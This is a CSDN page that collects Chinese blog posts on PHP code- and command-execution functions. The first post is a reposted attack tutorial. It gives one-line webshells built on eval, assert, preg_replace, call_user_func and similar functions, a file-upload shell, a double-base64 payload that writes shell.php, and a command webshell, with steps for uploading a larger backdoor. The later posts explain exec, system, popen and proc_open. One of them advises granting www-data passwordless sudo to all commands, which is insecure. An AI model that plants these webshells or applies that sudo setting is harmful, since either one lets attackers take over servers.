php shell执行函数_php 关闭执行shell函数 - CSDN
精华内容
参与话题
  • php中代码执行&&命令执行函数

    千次阅读 2019-05-07 09:31:34
    命令执行函数 转自i春秋 1、eval()函数 #传入的参数必须为PHP代码,既需要以分号结尾。 #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POST['cmd']);?> 那么当我们上传了eval函数...

    php中代码执行&&命令执行函数

    转自i春秋 

    1、eval()函数

    #传入的参数必须为PHP代码,既需要以分号结尾。
    #命令執行:cmd=system(whoami);
    #菜刀连接密码:cmd
    <?php @eval($_POST['cmd']);?>

    那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看
    这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。

    <?php
    @$temp = $_FILES['upload_file']['tmp_name'];
    @$file = basename($_FILES['upload_file']['name']);
    if (empty ($file)){
    echo "<form action = '' method = 'POST' ENCTYPE='multipart/form-data'>\n";echo "Local file: <input type = 'file' name = 'upload_file'>\n";echo "<input type = 'submit' value = 'Upload'>\n";echo "</form>\n<pre>\n\n</pre>";}else {if(move_uploaded_file($temp,$file)){echo "File uploaded successfully.<p>\n";}else {echo "Unable to upload " . $file . ".<p>\n";}}?>

    原理是利用文件操作函数如下:

    fputs(fopen(shell.php,w),xxxx);

    写入xxxx到脚本执行文件当前目录下的shell.php文件。
    由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。

    ☆☆☆在编码的时候空格和回车都会影响编码后的结果,因此建议大家直接复制我上面的上传马或者用下面我编码好的,或者自己去慢慢尝试直到base64编码后为一串自由数字和字母的字符串即可。
    接下来利用文件操作函数写入上传马,注意不要忘了最后的分号。

    cmd=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));

    成功得到上传马,之后就是上传我们的大马了。

    2、assert()函数

    #assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
    #命令執行:cmd=system(whoami)
    #菜刀连接密码:cmd
    <?php @assert($_POST['cmd'])?>

    上传大马,这一步参考eval函数。

     其他的代码执行函数还有以下几个,均给出了菜刀马和连接方式:

    3、preg_replace()

    #preg_replace('正则规则','替换字符','目标字符')
    #执行命令和上传文件参考assert函数(不需要加分号)。
    #将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
    preg_replace("/test/e",$_POST["cmd"],"jutst test");

    这里可以使用chr()函数转换ASCII编码来执行代码。

    #phpinfo();
    eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

     

    4、create_function()函数

    #创建匿名函数执行代码
    #执行命令和上传文件参考eval函数(必须加分号)。
    #菜刀连接密码:cmd
    $func =create_function('',$_POST['cmd']);$func();

    5、array_map()函数

    #array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    #命令执行http://localhost/123.php?func=system   cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert   密码:cmd
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;

    6、call_user_func()函数

    #传入的参数作为assert函数的参数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    call_user_func("assert",$_POST['cmd']);

    7、call_user_func_array()函数

    #将传入的参数作为数组的第一个值传递给assert函数
    #cmd=system(whoami)
    #菜刀连接密码:cmd
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);

    8、array_filter()函数

    #用回调函数过滤数组中的元素:array_filter(数组,函数)
    #命令执行func=system&cmd=whoami
    #菜刀连接http://localhost/123.php?func=assert  密码cmd
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);

    9、uasort()函数

    #php环境>=<5.6才能用
    #uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
    #命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
    #菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
    usort($_GET,'asse'.'rt');

    二、命令执行函数     

    PHP执行系统命令的有几个常用的函数,如有:system函数、exec函数、popen函数,passthru,shell_exec函数他们都可以执行系统命令,下面是我整理的一个命令马,把常见的命令执行函数都做了一个梳理,如果大家还有什么新的思路或见解,可以一起交流交流。

    <?php
    $command=$_POST['cmd'];
    #function exec_all($command)
    #{
        
    //system函数可执行并直接显示结果
    if(function_exists('system'))
    {
        echo "<pre>";
        system($command);
        echo "</pre>";
    }
     
    //passthru函数可执行并直接显示结果
    else if(function_exists('passthru'))
    {
        echo "<pre>";
        passthru($command);
        echo "</pre>";
    }
     
    //shell_exec函数可执行但需要加echo才能显示结果
    else if(function_exists('shell_exec'))
    {
        echo "<pre>";
        echo shell_exec($command);
        echo "</pre>";
    }
     
    //function exec(命令,以数组形式的保存结果,命令执行的状态码)
    //可执行,但需要加echo才能显示结果
    else if(function_exists('exec'))
    {  
        echo "<pre>";
        exec($command,$output);
        echo "</br>";
        print_r($output);
        echo "</pre>";
    }
     
    //popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
    //返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
    //此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
    //若出错,则返回 false。
    else if(function_exists('popen'))
    {
        $handle = popen($command , "r"); // Open the command pipe for reading
        if(is_resource($handle))
        {
            if(function_exists('fread') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($handle))
                {
                    echo fread($handle, 1024);        
                }
                echo "</pre>";
            }
            else if(function_exists('fgets') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($handle))
                {       
                    echo fgets($handle,1024);
                }
                echo "<pre>";
            }
        }
        pclose($handle);
    }
     
    //proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
    else if(function_exists('proc_open'))
    {
        $descriptorspec = array(
                1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
                );
        $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
        if(is_resource($handle))
        {
            if(function_exists('fread') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($pipes[1]))
                {
                    echo fread($pipes[1], 1024);        
                }
                echo "</pre>";
            }
            else if(function_exists('fgets') && function_exists('feof'))
            {
                echo "<pre>";
                while(!feof($pipes[1]))
                {       
                    echo fgets($pipes[1],1024);
                }
                echo "<pre>";
            }
        }
        #pclose($handle);
    }
     
    else
    {
        echo 'GG';
    }
    #}

    其他函数:
    暂时就知道其他两个函数,不过也都是基于以上的函数所变化的。

    <?php
    $cmd=$_POST['cmd'];
    echo "<pre>";
     
    //可执行并直接显示结果,反引号,波浪键。
    //shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
    //所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
    echo `$cmd`;
     
     
    //注意,这个只显示结果的第一行,因此基本只能执行whoami
    //ob_start:打开缓冲区,需要system函数开启
    $a = 'system';
    ob_start($a);
    echo "$_POST[cmd]";
    ob_end_flush();
     
    echo "</pre>";

    上面讲完命令执行命令,也都可以执行命令了,那么如何利用这些命令马来进一步上传我们的大马呢,这里就要涉及到一下CMD命令了,有兴趣的同学可以去参考链接查看《CMD命令特殊符号》的文章。

         这里了我是用echo写文件的思路,遗忘大佬教的用msf结合命令行去下载大马我暂时还没去实践,就留着以后有时间再写了,废话不多说,开干吧!

    然后用【echo】命令写入我们的上传马

    ☆☆☆这里注意【<】【>】【&】这三个字符在CMD命令行中有特殊意义,需要在前面加【^】进行转义,可以用文本的替换来实现这个功能。

    写入成功之后就可以上传我们的大马啦 ^-^!

     

    posted @ 2019-05-06 13:32 卿先生 阅读(...) 评论(...) 编辑 收藏

    展开全文
  • php的内置函数exec,system都可以调用系统命令(shell命令),当然还有passthru,escapeshellcmd等函数。  在很多时候利用php的exec,system等函数调用系统命令可以帮助我们更好更快的完成工作。比如前二天笔者在批量...

    php的内置函数exec,system都可以调用系统命令(shell命令),当然还有passthru,escapeshellcmd等函数。

      在很多时候利用php的exec,system等函数调用系统命令可以帮助我们更好更快的完成工作。比如前二天笔者在批量处理.rar文件时exec就帮我了大忙了。

      今天整理一下常用的调用系统函数发出来和大家分享经验。

      注意:要想使用这二个函数php.ini中的安全模式必须关闭,要不然为了安全起见php是不让调用系统命令的。

      先看一下php手册对这二个函数的解释:

      exec --- 执行外部程式

      语法 : string exec ( string command [, array &output [, int &return_var]] )

      说明 :

      exec( )执行给予的命令command,不过它并不会输出任何东西,它简单的从命令的结果中传回最后一行,如果你需要去执行一个命令,并且从命令去取得所有资料时,可以使用passthru( )这个函数。

      如果有给予参数array,则指定的数组将会被命令所输出的每一行填满,注意 : 如果数组先前已经包含了一些元素的话,exec( )将会把它附加在数组的后面,如果你不想要此函数附加元素的话,你可以在传递此数组给exec( )之前呼叫unset( )。

      如果有给予参数array和return_var,则传回执行的状态命令将会写到这个变量。

      注意 : 如果你允许来自使用者输入的资料,可以传递到此函数,那么你应该使用escapeshellcmd( )来确定此使用者无法哄骗(trick)系统来执行武断的(arbitrary)命令。

      注意 : 如果你使用此函数来启动一个程式,而且希望在背景里(background)执行的时候离开它,你必须确定此程式的输出是转向(redirected)到一个文件或是一些输出的资料流,否则PHP将会悬挂(hang)直到程式执行结束。

      system --- 执行外部程式并且显示输出

      语法 : string system ( string command [, int &return_var] )

      说明 :

      system( )执行给予的命令command,并且输出结果。如果有给予参数return_var,则执行命令的状态码将会写到这个变量。

      注意 : 如果你允许来自使用者输入的资料,可以传递到此函数,那么你应该使用escapeshellcmd( )来确定此使用者无法哄骗(trick)系统来执行武断的(arbitrary)命令。

      注意 : 如果你使用此函数来启动一个程式,而且希望在背景里(background)执行的时候离开它,你必须确定此程式的输出是转向(redirected)到一个文件或是一些输出的资料流,否则PHP将会悬挂(hang)直到程式执行结束。

      如果PHP是运作成伺服器模组,在输出每一行后,system( )会试着自动地清除web伺服器的输出缓冲。

      成功则传回命令的最后一行,失败则传回false。

      如果你需要去执行一个命令,并且从命令去取得所有资料时,可以使用passthru( )这个函数。

      这二个都是用来调用系统shell命令,

      不同点:

      exec可以把执行的结果全部返回到$output函数里(数组),$status是执行的状态 0为成功 1为失败

      systerm不需要提供$output函数,他是直接把结果返回出来,同样$return_var是执行的状态码 0为成功 1为失败

      exec示例:

     以下为引用的内容: 

    <?php 

    $a = exec("dir",$out,$status); 

    print_r($a); 

    print_r($out); 

    print_r($status); 

    ?> 

      system示例:

     以下为引用的内容:   

    <?php  $a = system("dir",$out);  

    print_r($a);   

    print_r($out);   

    ?> 

    展开全文
  • PHP执行系统命令函数

    千次阅读 2019-03-24 18:38:12
    命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。 常见的执行系统命令的函数有 system() passthru() exec() ...

    命令注入

    命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者 bash 命令)的一种注入攻击手段。

    常见的执行系统命令的函数有

    system()
    passthru()
    exec()
    shell_exec()
    popen()
    proc_open()
    pcntl_exec()

     

     

     

    system()函数

    string system ( string $command [, int &$return_var ] )

    $command为执行的命令,&return_var可选,用来存放命令执行后的状态码

    system()函数执行有回显,将执行结果输出到页面上

    <?php
    	system("whoami");
    ?>

     

     

     

    passthru()函数

    void passthru ( string $command [, int &$return_var ] )

    system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

    执行有回显,将执行结果输出到页面上

    <?php
    	passthru("whoami");
    ?>

     

     

     

    exec()

    string exec ( string $command [, array &$output [, int &$return_var ]] )

    $command是要执行的命令

    $output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)

    exec()函数执行无回显,默认返回最后一行结果

    <?php
    	echo exec("whoami");
    ?>
    <?php  
    $test = "ipconfig";   
    exec($test,$array);      
    print_r($array);  
    ?> 

     

     

     

    shell_exec()函数

    string shell_exec( string &command)

    &command是要执行的命令

    shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

    <?php
    	echo shell_exec("whoami");
    ?>

    反引号 ` 

    shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行

    在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

    <?php
    	echo `whoami`;
    ?>

     

     

     

    popen()函数

    resource popen ( string $command , string $mode )

    函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有rw代表读和写。

    函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

    popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。

    返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。

    此指针可以用于fgets()fgetss() fwrite()

    <?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
    <?php  
    $test = "ls /tmp/test";  
    $fp = popen($test,"r");  //popen打一个进程通道  
      
    while (!feof($fp)) {      //从通道里面取得东西  
     $out = fgets($fp, 4096);  
     echo  $out;         //打印出来  
    }  
    pclose($fp);  
    ?> 

     

     

    proc_open()函数

    resource proc_open ( 
    string $cmd , 
    array $descriptorspec , 
    array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
    )
    

    Popen函数类似,但是可以提供双向管道

    <?php  
    $test = "ipconfig";  
    $array =   array(  
     array("pipe","r"),   //标准输入  
     array("pipe","w"),   //标准输出内容  
     array("pipe","w")    //标准输出错误  
     );  
      
    $fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
    echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
    proc_close($fp);  
    ?> 

     

     

     

    pcntl_exec()函数

    void pcntl_exec ( string $path [, array $args [, array $envs ]] )

    path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
    args是一个要传递给程序的参数的字符串数组。

    pcntllinux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

    pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

    <?php
    
    pcntl_exec ( "/bin/bash" , array("whoami"));
    
    ?>

     

     

    对这些危险函数,可以在php.ini中禁用,进行安全加固

     

     

     

     

    展开全文
  • PHP使用命令函数执行shell脚本 CentOS 7.6 64位 宝塔Linux面板 运行环境 Nginx 1.17.1 PHP-7.1 步骤 01 解除禁用的命令函数 出于安全考虑,命令函数是被禁用,我安装宝塔是被禁用的 #修改php.ini文件 ...

    PHP使用命令函数执行shell脚本

    • CentOS 7.6 64位
    • 宝塔Linux面板

    运行环境

    • Nginx 1.17.1
    • PHP-7.1

    步骤

    01 解除禁用的命令函数

    出于安全考虑,命令函数是被禁用,我安装宝塔是被禁用的

    #修改php.ini文件
    disable_functions =  #被禁用函数都在这一行 把需要解除的函数删除就行了 
    system exec passthru shell_exec #PHP常用命令函数
    

    02 PHP调用Linux命令权限不足的解决方法

    关于这个问题我踩的太多坑了,这也是我要写这篇文章的原因,我本人记性不好,所以记录一下

    • 01 查看启动你PHP的进程的用户是谁
    ps -ef | grep php #通过终端命令行执行查询
    echo exec('whoami'); #通过PHP命令函数查询 总来说默认没有任何权限
    
    • 02 添加一个用户和组 终端命令↓↓↓
    /usr/sbin/groupadd wroot  # wroot 用户可以自定义的
    /usr/sbin/useradd -g wroot -s /bin/bash wroot
    vim /etc/passwd #查看你刚刚添加的用户 是否添加成功
    

    wroot 是刚刚添加的

    • 03 修改PHP启动用户为您刚添加的用户
      php-fpm.conf 修改这个配置文件
      编辑成 user = wroot; group = wroot; (wroot为您刚才添加的用户)
    service php-fpm restart #命令重启php-fpm
    ps -ef | grep php #命令查看PHP启动进程的用户、是否已经变了
    
    • 04 添加刚才的用户wroot到sudoers里面
    visudo #命令修改 /etc/sudoers的内容
    ## Allow root to run any commands anywhere 
    root    ALL=(ALL)       ALL
    wroot   ALL=(ALL)       ALL //新添加这一行
    %wroot  ALL=(ALL)      NOPASSWD: ALL  
    #NOPASSWD为设置用户组下面的用户使用sudo不需要输入密码
    

    以上操作完成,但是我发现依然不能解决PHP命令shell脚本问题

    • 05 关于linux 用vi命令使用vi编辑(外话)
    s #vi界面出现 INSERT后,开始进行编辑操作 编辑完毕后,按ESC键,跳到命令模式
    :w #保存,不退出vi
    :w! #强制保存,不退出vi
    :w file #将修改另外保存到file中,但不退出vi
    :wq 或 :x #保存,并退出vi
    :wq! #强制保存,并退出vi
    :q #不保存,并退出vi
    :q! #不保存,并强制退出vi
    :e! #放弃所有修改,从上次保存文件开始再编辑
    

    03 但第二部操作还是无法解决PHP命令shell脚本问题

    还是权限问题,最后添加www-data ALL=(ALL) NOPASSWD: ALL解决了

    www-data ALL=(ALL) NOPASSWD: ALL #编辑visudo
    

    编辑visudo添加www-data

     

    编写test.sh脚本,简单的一个shell脚本 创建一个文件夹

    #! /bin/sh
    mkdir /www/a #注意.sh文件需要给执行权限
    
    #PHP
    system('sudo /usr/bin/test.sh') #注意绝对路径
    system('sudo /www/wwwroot/wert/prt.sh') #例如路径
    

    内容部分来源网络,我只是执行操作整理

    展开全文
  • php执行linux命令、shell脚本。以获取服务器运行状态举栗子
  • PHP中exec函数shell_exec函数的区别

    千次阅读 2018-12-29 17:38:51
    这两个函数都是执行Linux命令函数,不同的是获取返回结果不一样,exec只能获取最后一行数据,shell_execu则可以获取全部数据。 php中的exec和shell_exec两个函数都可以用来执行linux命令,但它们在使用方式以及结果...
  • 为什么80%的码农都做不了架构师?>>> ...
  • php shell_exec("ls");php正常执行 shelL_exec("docker run ....");手动能执行,php中无法执行,
  • php 执行 shell 脚本环境变量设置

    千次阅读 2018-03-09 21:22:24
    当使用php的脚本执行命令(如:shell_exec())时,若脚本需要系统环境变量PATH支持(如:python使用import等),则会出现找不到的错误。并且查看系统PATH,如下: echo(shell_exec('echo $PATH')); /usr/sbin:/usr...
  • 一步步理解Shell编程之函数用法

    千次阅读 2019-04-07 21:54:52
    大家好,今天给大家分享的是shell编程中的函数用法,当然这个函数和数学的函数是不一样的,那么在shell中的函数是什么样的,那么一起来看一下。 1、首先在linux中它有一个命令是:alias 也就是别名的意思,那么这...
  • php 执行系统命令函数

    2020-06-27 18:05:14
    命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。 常见的执行系统命令的函数有 system() passthru() exec() ...
  • php中的exec和shell_exec两个函数都可以用来执行linux命令,但它们在使用方式以及结果的返回上,差别还是比较大的。 exec 调用方式: exec($cmd.' 2>&1',$output,$status); $cmd:shell脚本 2>&1:...
  • PHP调用shell命令

    千次阅读 2019-05-09 17:16:12
    PHP调用shell命令 前言 因为想用php调用python脚本,于是想到可以利用php调用shell命令的方法实现。 php版本:php7.0 三种方法 1.system system — 执行外部程序,并且显示输出 函数使用方法 system ( string $...
  • php执行命令函数

    2016-10-02 19:37:27
    在工作中我们经常用到php执行系统函数,调用 shell等命令,好记性不如烂笔头,做个记录! php提供了以下函数 system exec passthru shell_exec 常用的就这几个,不常用的自己去找吧!
  • 关于php执行shell脚本

    2016-04-10 16:52:26
    未完,待续……
  • 请问下,我想执行shell_exec(cmd: "java -jar"." ".$config." ".$file1); 错误提示:Parse error: syntax error, unexpected ':' in D:\phpStudy\PHPTutorial... shell_exec执行cmd命令行是不是还要开启配置的?
  • 过滤参数 escapeshellarg 过滤一个字符串参数,原理是给字符串添加单引号,而shell不会解释单引号中的特殊字符。...这个函数应该用来过滤单个的shell函数的参数。 escapeshellcmd 该函数应该被用来过滤整...
  • PHP提供了4种方法执行系统外部命令:exec()、passthru()、system()、shell_exec(),下面分别介绍: 1、exec 原型:string exec ( string $command [, array &$output [, int &$return_var ]] ) exec执行command命令...
  • shell脚本调用php代码

    千次阅读 2011-08-22 16:04:32
    shell里可以通过cgi模式来调用php,例如下面 /usr/php5/bin/php -q /var/html/demo.php 当需要并发处理一些php程序时 在其后面加上& 有的时候可以需要传些参数 /usr/php5/bin/php -
1 2 3 4 5 ... 20
收藏数 35,859
精华内容 14,343
关键字:

php shell执行函数